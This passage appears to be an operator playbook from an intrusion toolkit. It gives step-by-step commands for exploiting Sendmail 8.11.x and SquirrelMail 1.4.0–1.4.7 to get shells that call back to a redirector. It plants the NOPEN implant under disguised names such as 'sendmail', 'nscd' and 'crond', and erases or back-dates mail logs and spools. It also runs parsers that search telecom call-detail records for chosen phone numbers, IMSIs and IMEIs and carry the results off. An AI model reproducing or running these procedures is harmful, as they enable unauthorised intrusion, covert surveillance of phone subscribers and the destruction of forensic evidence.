9323:%s/DOMAIN/DOMAIN/g
9324:%s/RANDOM_PORT/RANDOM_PORT/g
9325`x
9326
9327
9328#banner mail
9329-scan mail TARGET_IP
9330
9331# alternate way to banner
9332
9333##on pitch
9334-tunnel
9335l 2525 TARGET_IP 25
9336
9337###local scripted
9338telnet 127.0.0.1 2525
9339
9340## after getting banner
9341helo DOMAIN
9342
9343mail from: user@DOMAIN # use random user name
9344
9345### may be getting rejected as spam???
9346
9347
9348
9349
9350
9351$ ./eash.py -?
9352usage:
9353/current/bin/earlyshovel/eash.py [options]
9354options
9355 --atimeout seconds (default = 30)
9356 Authentication timeout (in seconds)
9357 --cip IPAddress (default = 127.0.0.1)
9358 Callback IP address
9359 --clport port
9360 Local callback port
9361 --cport port
9362 Callback port
9363 --ctimeout seconds (default = 30)
9364 Callback timeout (in seconds)
9365 --domain domainName
9366 Domain name of sender
9367 --exec filename
9368 File to exec on successful upload
9369 -? | --help
9370 Print the usage message
9371 --recipient emailAddress (default = root)
9372 Email recipient
9373 --target target
9374 Target OS
9375 --tip IPAddress (default = 127.0.0.1)
9376 Target IP address
9377 --tmpnam filename
9378 Remote name of the uploaded file (of the form /tmp/fileXXXXXX)(def=filekdBtDF)
9379 --tport port (default = 25)
9380 Target port
9381 --upload filename
9382 File to upload
9383Supported targets:
9384 "ASPRH73": ASP Linux 7.3 or RedHat 7.3 running Sendmail 8.11.6
9385 "RH70": RedHat 7.0 running Sendmail 8.11.0
9386 "RH71": RedHat 7.1 running Sendmail 8.11.2
9387 "RH72": RedHat 7.2 running Sendmail 8.11.6
9388
9389
9390
9391### REDIRECTION
9392-tunnel
9393l 2525 TARGET_IP 25
9394r RANDOM_PORT
9395
9396### LOCAL WINDOW: UPLOADS NOPEN AUTOMATCALLY- as of VERSION 2.4.0
9397cd /current/bin/earlyshovel
9398./eash.py --tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT --recipient USER_NAME --target TARGET_OS --domain DOMAIN --exec /current/bin/noclient --upload /current/up/morerats/noserver-3.0.3.1-i586.pc.linux.gnu.redhat-5.0
9399
9400 -OR-
9401
9402### LOCAL WINDOW:MANUAL UPLOAD of NOPEN
9403cd /current/bin/earlyshovel
9404
9405./eash.py --tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT --recipient USER_NAME --target TARGET_OS
9406
9407./eash.py --tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT --recipient USER_NAME --target TARGET_OS --domain DOMAIN
9408
9409### you will get an interactive root shell
9410
9411unset HISTFILE
9412unset HISTFILESIZE
9413unset HISTSIZE
9414id
9415pwd
9416w
9417
9418
9419# upload nopen as sendmail
9420which uudecode uncompress
9421mkdir /tmp/.scsi;cd /tmp/.scsi;pwd
9422
9423# if uudecode/uncompress exists:
9424# LOCALLY
9425
9426cd /current/up
9427cp /current/up/morerats/noserver-3.0.3.1-i586.pc.linux.gnu.redhat-5.0 sendmail
9428compress sendmail
9429uuencode sendmail.Z sendmail.Z > sendmail.Z.uu
9430gedit sendmail.Z.uu
9431
9432# on TARGET in interactive window
9433uudecode; ls -la
9434copy/paste gedit contents into this window
9435umcompress sendmail.Z
9436ls -l
9437chmod 700 sendmail
9438PATH=. sendmail
9439
9440# from redirector
9441-nstun TARGET_IP
9442
9443###END of MANUAL UPLOAD
9444
9445###CLEANUP
9446#if nopen is uploaded automatically:
9447-ls /tmp/filekdBtDF
9448-rm /tmp/filekdBtDF
9449
9450
9451# look where mail may be logged
9452grep mail /etc/syslog.conf
9453
9454-tail /var/log/maillog
9455
9456#remove mail messages from file
9457grep USER_NAME /var/log/maillog
9458# do this;if grep will clean everything needed
9459-gs grepout USER_NAME /var/log/maillog
9460# if our logs entries are the only entries in file
9461cat /dev/null > /var/log/maillog
9462#change timestamp of file
9463-touch /var/log/? /var/log/maillog
9464
9465#delete mail msgs from users mail dir: path may be different
9466-lt /var/spool/mail/USER_NAME
9467
9468
9469-get /var/spool/mail/USER_NAME
9470
9471#locally
9472
9473cp /current/down/hostname.IP/var/spool/mail/USER_NAME /current/up/t
9474cd /current/up/t
9475#remove email from t
9476-put /current/up/t t
9477
9478#target window
9479#if it looks good
9480cat t > /var/spool/mail/USER_NAME
9481# touch file to a "good" date
9482touch -t YYMMDDHHMM.ss /var/spool/mail/USER_NAME
9483
9484
9485#does user have a home dir
9486grep USER_NAME /etc/passwd
9487
9488# look for users home dir and list it
9489
9490-lt ?/?/USER_NAME
9491
9492## look for .procmail or .forward files
9493cat files if there....
9494
9495###
9496### END File user.tool.earlyshovel.COMMON
9497### (see also ../etc/user.tool.earlyshovel.COMMON)
9498
9499###
9500### BEGIN File user.tool.curserazor.COMMON (see also ../etc/user.tool.curserazor.COMMON)
9501###
9502
9503################ CURSERAZOR #########################
9504############### PARSING ###################################################################
9505
9506### vi Search/Replace commands ###
9507### ProjectName - self explanatory
9508### Date field - today's date, used for output files
9509### Host - hostname of the box (not IP address)
9510### Cryptkey - encryption key (use output from below md5sum command)
9511
9512md5sum /current/down/tcpdump.raw
9513
9514mx
9515:%s/PROJECTNAME/PROJECTNAME/g
9516:%s/DDMonYY/DDMonYY/g
9517:%s/HOST/HOST/g
9518:%s/CRYPTKEY/CRYPTKEY/g
9519'x
9520
9521### Save the encryption key locally:
9522
9523echo CRYPTKEY > /current/down/cryptkey.curserazor.DDMonYY
9524
9525####### Prepare files containing numbers to search for:
9526
9527# if files containing the numbers to search available:
9528mkdir /current/down/argfiles
9529cd /current/down/argfiles
9530mz
9531cp /mnt/zip*/arg* /current/down/argfiles
9532 #or
9533cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles
9534
9535ls -altr
9536
9537
9538### Prep the argfiles:
9539### make sure the files are ASCII and contain NO EMPTY LINES!!
9540### make sure the last line does not contain a null character at the end
9541### (vi the file, add a carriage return to the last line, then delete the empty
9542### line and save)
9543### "file" results:
9544### This will not work: ASCII text, with CRLF line terminators
9545### This WILL: ASCII text
9546cat arg*
9547file arg*
9548dos2unix arg*
9549file arg*
9550
9551# if no data media is provided:
9552# locally, create a file of numbers to grep for with each number on a separate line
9553# make sure there are NO EMPTY LINES!!!!
9554# if searching for LACs and cell id's, use the format in the documentation:
9555# ex. - 410 01 95 18374
9556# if searching for phone numbers, use the normal format:
9557# ex. - 4837506
9558
9559cd /current/down/argfiles
9560vi /current/down/argfiles/argfile1.txt
9561
9562
9563### Make sure find the cryptTool...add to PATH if which fails...
9564which cryptTool.v1.0.Linux2.4.18-14.targetdl
9565
9566### To encrypt one at a time...
9567cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b
9568cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b
9569
9570file argfile*.enc
9571
9572### Loop to encrypt all the argfiles
9573cd /current/down/argfiles
9574for i in argfile*.txt; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $i.enc -k CRYPTKEY -b
9575
9576file argfile*.enc
9577
9578
9579########## To look at CDR directories try the following:
9580
9581### Use the following commands to determine the location of current
9582### CDR data storage; Once you identify the location of the data, you'll
9583### use the head/tail commands to determine the date ranges being saved.
9584### These date ranges will be used as args in the curserazor commands.
9585
9586### Typical file locations per host:
9587
9588########################## hazyrazor:
9589# paths based on isb-ser-imelive 172.20.16.136
9590
9591ls -l /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/*200710*GCDR$ | wc
9592ls -l /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ | grep 200710.*GCDR$ | head -30
9593ls -l /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ | grep 200710.*GCDR$ | tail -30
9594
9595### Tips for running the CURSERAZOR 1.1
9596
9597 ### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!!
9598 ### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional
9599 ### passes are needed for the date range
9600 ### The phone list is deleted automatically
9601
9602
9603######## Upload the parser (CURSERAZOR) and call it nscd
9604# put up the parser tool
9605# First, using a wildcard, confirm our hidden directory (and that we are priveleged)
9606-ctrl -d
9607# or maybe something like this?
9608-ls /lib/.02dbb*
9609
9610# Now (using the full path, this wildcard will fail), cd there and add it to our path
9611-cd /lib/.02dbb*
9612-addpath .
9613
9614# Put up the tool as nscd
9615-put /current/up/curserazor.v1.1.SunOS5.10.targetdl nscd
9616which nscd
9617-lt
9618-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007103*GCDR' -print" -P ./awk
9619-ls -t
9620which nscd
9621
9622
9623##### Upload the encrypted phone list as awk, modify each parser command to have the
9624##### correct directory and date range of files to parse, then run the parser:
9625
9626##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc)
9627##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.)
9628
9629##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS
9630
9631############ argfile 1
9632
9633-put /current/down/argfiles/argfile1.enc awk
9634-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007103*GCDR' -print" -P ./awk
9635nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc1
9636-beep 15
9637
9638### Run again if needed for same tasking
9639-put /current/down/argfiles/argfile1.enc awk
9640-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007102[89]*GCDR' -print" -P ./awk
9641./nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc1.more
9642-beep 15
9643
9644
9645############ argfile 2
9646
9647-put /current/down/argfiles/argfile2.enc awk
9648-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007103*GCDR' -print" -P ./awk
9649nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc2
9650-beep 15
9651
9652### Run again if needed for same tasking
9653-put /current/down/argfiles/argfile2.enc awk
9654-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007102[89]*GCDR' -print" -P ./awk
9655./nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc2.more
9656-beep 15
9657
9658
9659############ argfile 3
9660
9661-put /current/down/argfiles/argfile2.enc awk
9662-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007103*GCDR' -print" -P ./awk
9663nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc2
9664-beep 15
9665
9666### Run again if needed for same tasking
9667-put /current/down/argfiles/argfile2.enc awk
9668-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007102[89]*GCDR' -print" -P ./awk
9669./nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc2.more
9670-beep 15
9671
9672
9673######
9674###### survey mode:
9675######
9676
9677### checks for IMEIs that have more than one IMSI associated with it:
9678### to limit amount of memory used, replace "-x" with "-X numberBytes"
9679-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007102[89]*GCDR' -print" -x
9680./nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc.surveyIMEI
9681
9682
9683### generates a list of Cell IDs associated with each MSC address:
9684### to limit amount of memory used, replace "-y" with "-Y numberBytes"
9685-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007102[89]*GCDR' -print" -y
9686./nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc.surveyMSC
9687
9688
9689######
9690##### when it's done running, decrypt the file (-d -c options)
9691######
9692
9693cd /current/down
9694ls -latr cdrhits*enc*
9695
9696# to decrypt individually:
9697cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.curserazor.HOST.DDMonYY.enc1 -o cdrhits.curserazor.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c
9698cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.curserazor.HOST.DDMonYY.enc2 -o cdrhits.curserazor.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c
9699
9700
9701# or decrypt all at one time (once all are written fully)
9702cd /current/down
9703for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done
9704ls -latr cdr*txt*
9705
9706######
9707###### If you need to stop the parser before it completes:
9708### Control-C the nopen window containing the parser command
9709### ps -ef |grep nscd
9710### if the parser command is still "running", then kill the process:
9711### kill -9 <PID>
9712### You'll still be able to decrypt the partially completed data pull
9713
9714######
9715###### copy DECRYPTED data to media
9716######
9717ls -l cdrhits*txt*
9718mz
9719cp cdrhits*txt* /mnt/zip*/PROJECTNAME
9720ls -l /mnt/zip*/PROJECTNAME
9721uz
9722
9723
9724#####
9725##### clean up
9726#####
9727-rm nscd awk
9728-lt
9729-cd /tmp
9730-lt
9731
9732w
9733ps -ef | sort
9734-lt /
9735
9736-burnBURN
9737
9738###
9739### END File user.tool.curserazor.COMMON
9740### (see also ../etc/user.tool.curserazor.COMMON)
9741
9742###
9743### BEGIN File user.tool.cursehappy.preversion4.COMMON (see also ../etc/user.tool.cursehappy.preversion4.COMMON)
9744###
9745
9746################ CURSEHAPPY #########################
9747############### PARSING ###################################################################
9748
9749### vi Search/Replace commands ###
9750### ProjectName - self explanatory
9751### Date field - today's date, used for output files
9752### Rec type - record type correlates with ProjectName, valid values: eh, ls, ss, wb
9753### Host - hostname of the box (not IP address)
9754### Cryptkey - encryption key (use output from below md5sum command)
9755
9756md5sum /current/down/tcpdump.raw
9757
9758mx
9759:%s/PROJECTNAME/PROJECTNAME/g
9760:%s/DDMonYY/DDMonYY/g
9761:%s/RECTYPE/RECTYPE/g
9762:%s/HOST/HOST/g
9763:%s/CRYPTKEY/CRYPTKEY/g
9764'x
9765
9766### Save the encryption key locally:
9767
9768echo CRYPTKEY > /current/down/cryptkey.cursehappy.DDMonYY
9769
9770####### Prepare files containing numbers to search for:
9771
9772# if files containing the numbers to search available:
9773mkdir /current/down/argfiles
9774cd /current/down/argfiles
9775mz
9776cp /mnt/zip*/arg* /current/down/argfiles
9777 #or
9778cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles
9779
9780ls -altr
9781
9782
9783### Prep the argfiles:
9784### make sure the files are ASCII and contain NO EMPTY LINES!!
9785### make sure the last line does not contain a null character at the end
9786### (vi the file, add a carriage return to the last line, then delete the empty
9787### line and save)
9788### "file" results:
9789### This will not work: ASCII text, with CRLF line terminators
9790### This WILL: ASCII text
9791cat arg*
9792file arg*
9793dos2unix arg*
9794file arg*
9795
9796# if no data media is provided:
9797# locally, create a file of numbers to grep for with each number on a separate line
9798# make sure there are NO EMPTY LINES!!!!
9799# Format of each type of argument:
9800# p123456789 - phone number
9801# s123456789 - IMSI
9802# e123456789 - IMEI
9803# c123/456 - Cell/LAC (no leading 0's)
9804
9805cd /current/down/argfiles
9806vi /current/down/argfiles/argfile1.txt
9807
9808
9809
9810########## To look at CDR directories try the following:
9811
9812### Use the following commands to determine the location of current
9813### CDR data storage; Once you identify the location of the data, you'll
9814### use the head/tail commands to determine the date ranges being saved.
9815### These date ranges will be used as args in the cursehappy commands.
9816
9817### Typical file locations per host:
9818
9819########################## wholeblue:
9820# tpmw01 10.3.4.55
9821# tpmw02 10.3.4.56
9822
9823### verifies isb, khi, and lhr directories:
9824ls -ld /tp/med/datastore/collect/siemens_msc_*
9825ls -ld /tp/med/datastore/collect/siemens_msc_*/.tmp_ncr
9826ls -ld /tp/med/archive/collect/siemens_msc_*
9827ls -ld /tp/med/archive/collect/siemens_msc_*/.tmp_ncr
9828
9829### shows oldest and newest files in directories:
9830ls -latr /tp/med/datastore/collect/*isb*/*.MSC | head -10
9831ls -latr /tp/med/datastore/collect/*isb*/*.MSC | tail -10
9832ls -latr /tp/med/datastore/collect/*khi*/*.MSC | head -10
9833ls -latr /tp/med/datastore/collect/*khi*/*.MSC | tail -10
9834ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | head -10
9835ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | tail -10
9836
9837ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | head -10
9838ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | tail -10
9839ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | head -10
9840ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | tail -10
9841ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | head -10
9842ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | tail -10
9843
9844ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | head -10
9845ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | tail -10
9846ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | head -10
9847ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | tail -10
9848ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | head -10
9849ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | tail -10
9850
9851ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10
9852ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | tail -10
9853ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | head -10
9854ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | tail -10
9855ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | head -10
9856ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | tail -10
9857
9858
9859# isbapro1 10.5.7.51
9860# nothing new
9861-lt /u01/product_evdp/evident/data_store/collect
9862ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | head -10
9863ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | tail -10
9864ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | head -10
9865ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | tail -10
9866ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | head -10
9867ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | tail -10
9868ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | head -10
9869ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | tail -10
9870
9871-lt /u03/archive/collect
9872# newer stuff
9873ls -latr /u03/archive/collect/siemens_msc_isb01 | head -10
9874ls -latr /u03/archive/collect/siemens_msc_isb01 | tail -10
9875ls -latr /u03/archive/collect/siemens_msc_isb01 | wc -l
9876# old stuff:
9877ls -latr /u03/archive/collect/siemens_msc_khi01 | head -10
9878ls -latr /u03/archive/collect/siemens_msc_khi01 | tail -10
9879
9880
9881########################## editionhaze:
9882
9883ls -latr /u06/saba/CDR/out/MS* | head -10
9884ls -latr /u06/saba/CDR/out/MS* | tail -10
9885ls -latr /u06/saba/CDR/out/MS* | wc -l
9886
9887########################## liquidsteel:
9888
9889########################## sicklestar:
9890
9891### magnum: CURSEHAPPY not working on all SS .usd files :-(
9892### Try these first, should be all of them in one spot
9893ls -latr /usd_archive/mc_storage/*usd | head -10
9894ls -latr /usd_archive/mc_storage/*usd | tail -10
9895
9896### If none in previous ones...
9897ls -latr /sys1/var/billing/out_coll/*usd | head -10
9898ls -latr /sys1/var/billing/out_coll/*usd | tail -10
9899ls -latr /sys1/var/alcatel/out_coll/*usd | head -10
9900ls -latr /sys1/var/alcatel/out_coll/*usd | tail -10
9901
9902ls -latr /sys1/var/billing/msc_is2 | tail -20
9903
9904########################## CURSEHAPPY ########################################################
9905###############################################################################################
9906
9907### Now, encrypt the ascii list...first make sure you have the encryption tool:
9908which cryptTool.v1.0.Linux2.4.18-14.targetdl
9909
9910### If cryptTool not in PATH, change your PATH or insert full path in command
9911
9912### to encrypt one at a time...skip to next comment to encrypt all at once:
9913cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b
9914cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b
9915
9916file argfile*.enc
9917
9918### to encrypt all at the same time:
9919for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done
9920
9921ls -l
9922file argfile*.enc
9923
9924### Tips for running the CURSEHAPPY 3.2
9925
9926 ### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!!
9927 ### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional
9928 ### passes are needed for the date range
9929 ### DO NOT use -loglevel if also using >L: or >T: (mixed output corrupts the decryption)
9930 ### The phone list is NOT deleted automatically in v3.2
9931 ### remove it between each run as a practice
9932
9933### Useful options:
9934-n name of text file containing phone numbers
9935-rt record type: eh, ls, ss, RECTYPE
9936-files list of files to parse (can contain wildcards) optional - same as no option
9937-d output optional fields
9938-all all record output (no search performed)
9939-loglevel [#] level of info emitted via stderr:0,1,2,3
9940
9941
9942######## Upload the parser (CURSEHAPPY) and called it crond
9943# put up the parser tool
9944mkdir /tmp/.scsi
9945-cd /tmp/.scsi
9946
9947-put /current/up/cursehappy crond
9948
9949 # or
9950
9951-put /mnt/zip*/cursehappy crond
9952
9953##### Upload the encrypted phone list as adm, modify each parser command to have the
9954##### correct directory and date range of files to parse, then run the parser:
9955
9956##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc)
9957##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.)
9958
9959##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS
9960
9961############ argfile 1
9962
9963-put /current/down/argfiles/argfile1.enc adm
9964KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc1
9965-beep 15
9966
9967### Remove tasking once crond is running
9968-rm adm
9969
9970### Run again if needed for same tasking
9971-put /current/down/argfiles/argfile1.enc adm
9972KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[012]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc1.more
9973-beep 15
9974
9975-rm adm
9976
9977############ argfile 2
9978
9979-put /current/down/argfiles/argfile2.enc adm
9980KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc2
9981-beep 15
9982
9983### Remove tasking once crond is running
9984-rm adm
9985
9986### Run again if needed for same tasking
9987-put /current/down/argfiles/argfile2.enc adm
9988KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc2.more
9989-beep 15
9990
9991-rm adm
9992
9993############ argfile 3
9994
9995-put /current/down/argfiles/argfile3.enc adm
9996KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc3
9997-beep 15
9998
9999### Remove tasking once crond is running
10000-rm adm
10001
10002### Run again if needed for same tasking
10003-put /current/down/argfiles/argfile3.enc adm
10004KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc3.more
10005-beep 15
10006
10007-rm adm
10008
10009
10010#############
10011############# for loglevel testing (local file should be ascii?)
10012#############
10013
10014-put /current/down/argfiles/argfile1.enc adm
10015KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -w e -loglevel 2 -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.test
10016-beep 15
10017-rm adm
10018
10019######
10020##### when it's done running, decrypt the file (-d -c options)
10021######
10022
10023
10024cd /current/down
10025ls -latr cdr*enc*
10026
10027# to decrypt individually:
10028cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehappy.HOST.DDMonYY.enc1 -o cdrhits.cursehappy.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c
10029cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehappy.HOST.DDMonYY.enc2 -o cdrhits.cursehappy.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c
10030
10031
10032# or decrypt all at one time (once all are written fully)
10033cd /current/down
10034for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done
10035ls -latr cdr*txt*
10036
10037######
10038###### If you need to stop the parser before it completes:
10039### Control-C the nopen window containing the parser command
10040### ps -ef |grep crond
10041### if the parser command is still "running", then kill the process:
10042### kill -9 <PID>
10043### You'll still be able to decrypt the partially completed data pull
10044
10045
10046
10047######
10048###### copy DECRYPTED data to media
10049######
10050ls -l cdr*txt*
10051mz
10052cp cdr*txt* /mnt/zip*/PROJECTNAME
10053ls -l /mnt/zip*/PROJECTNAME
10054uz
10055
10056
10057#####
10058##### clean up
10059#####
10060-rm crond adm
10061-lt
10062-cd /tmp
10063-rm .scsi
10064-lt
10065
10066w
10067ps -ef | sort
10068-lt /
10069
10070-burnBURN
10071
10072###
10073### END File user.tool.cursehappy.preversion4.COMMON
10074### (see also ../etc/user.tool.cursehappy.preversion4.COMMON)
10075
10076###
10077### BEGIN File user.tool.elideskew.COMMON (see also ../etc/user.tool.elideskew.COMMON)
10078###
10079
10080#########################################################
10081# ELIDESKEW v1.0.0.1
10082#########################################################
10083### Public known vulnerablity in SquirrelMail versions 1.4.0 - 1.4.7
10084### Patched for versions => 1.4.8
10085### Tested on CentOS and FreeBSD successfully
10086### will be apache on target; use approprate tool( if available) to elevate
10087
10088
10089mx
10090:%s/REDIRECTOR_IP/REDIRECTOR_IP/g
10091:%s/TARGET_IP/TARGET_IP/g
10092:%s/RANDOM_PORT/RANDOM_PORT/g
10093`x
10094
10095### scan port 80 to look for squirrel banner ( may report version; needs to
10096### be version 1.4.0 - 1.4.7 to work)
10097### need banner to help determine squirrel mail dir
10098-scan http TARGET_IP
10099
10100
10101### set up redirection
10102### on redirector
10103-tunnel
10104l 80 TARGET_IP
10105
10106## get ELIDESKEW usage
10107## scripted local window
10108cd /current/bin
10109
10110./elideskew.pl
10111 -ch - Check forexploit
10112 -l [file] - File to upload
10113 -r [path] - Upload destination path/filename
10114 -c [String] - Command Line to execute, if you want
10115 to use the file just uploded, then INCLUDE IT.
10116 -u [url] - http://host.com/squirrelMail/
10117 get from http banner eg. /webapps/sq147
10118
10119## test for exploit vulnerability
10120## local scripted window
10121./elideskew.pl -u http://127.0.0.1/webapps/sq147 -ch
10122
10123### will report YES ( with OS) or NO
10124### sample good output
10125###Checking...
10126
10127###Linux webapps.jetson.net 2.6.9-42.ELsmp #1 SMP Sat Aug 12 09:39:11 CDT 2006
10128i686 i686 i386 GNU/Linux
10129
10130###YES!
10131
10132### If vulnerable; proceed; run commands on target to find dir read/writeable by apache
10133
10134./elideskew.pl -u http://127.0.0.1/webapps/sq147 -c 'uname -a; w; pwd; ls -al
10135../data'
10136
10137
10138### note pwd result; /var/www/html/webapps/sq147/src (default dir) is not writeable/executable by apache but ../data is....
10139
10140### Ready to upload and execute NOPEN
10141
10142### on REDIRECTOR_IP
10143-nrtun RANDOM_PORT
10144
10145
10146### local scripted window [[ note: the backticks "`" may or may not be necessary ]]
10147./elideskew.pl -u http://127.0.0.1/webapps/sq147 -l /current/up/morerats/noserver-3.0.3.6-i686.pc.linux.gnuoldld.redhat-6.0 -r /var/www/html/webapps/sq147/data/nos -c '`D=-cREDIRECTOR_IP:RANDOM_PORT /var/www/html/webapps/sq147/data/nos`'
10148
10149### if all goes well you will be apache on target (note: some apache configurations run
10150 as nobody)
10151
10152need to elevate; choose appropriate tool
10153
10154### cleaning logs
10155
10156Logging varies by platform:
10157
10158on CentOS - /var/log/httpd/error_log ; CentOS runs SELinux so it also logs when nopen
10159 tries to call back in /var/log/messages. CentOS will not allow nopen to bind
10160 to a port as a server so must use callback mode for nopen
10161
10162on FreeBSD - [APACHE_PREFIX]/logs/error_log
10163
10164###
10165### END File user.tool.elideskew.COMMON
10166### (see also ../etc/user.tool.elideskew.COMMON)
10167
10168###
10169### BEGIN File user.tool.poptop.COMMON (see also ../etc/user.tool.poptop.COMMON)
10170###
10171
10172### EncTelnet/Poptop
10173### To use Nopen over an existing connection (i.e. telnet)
10174
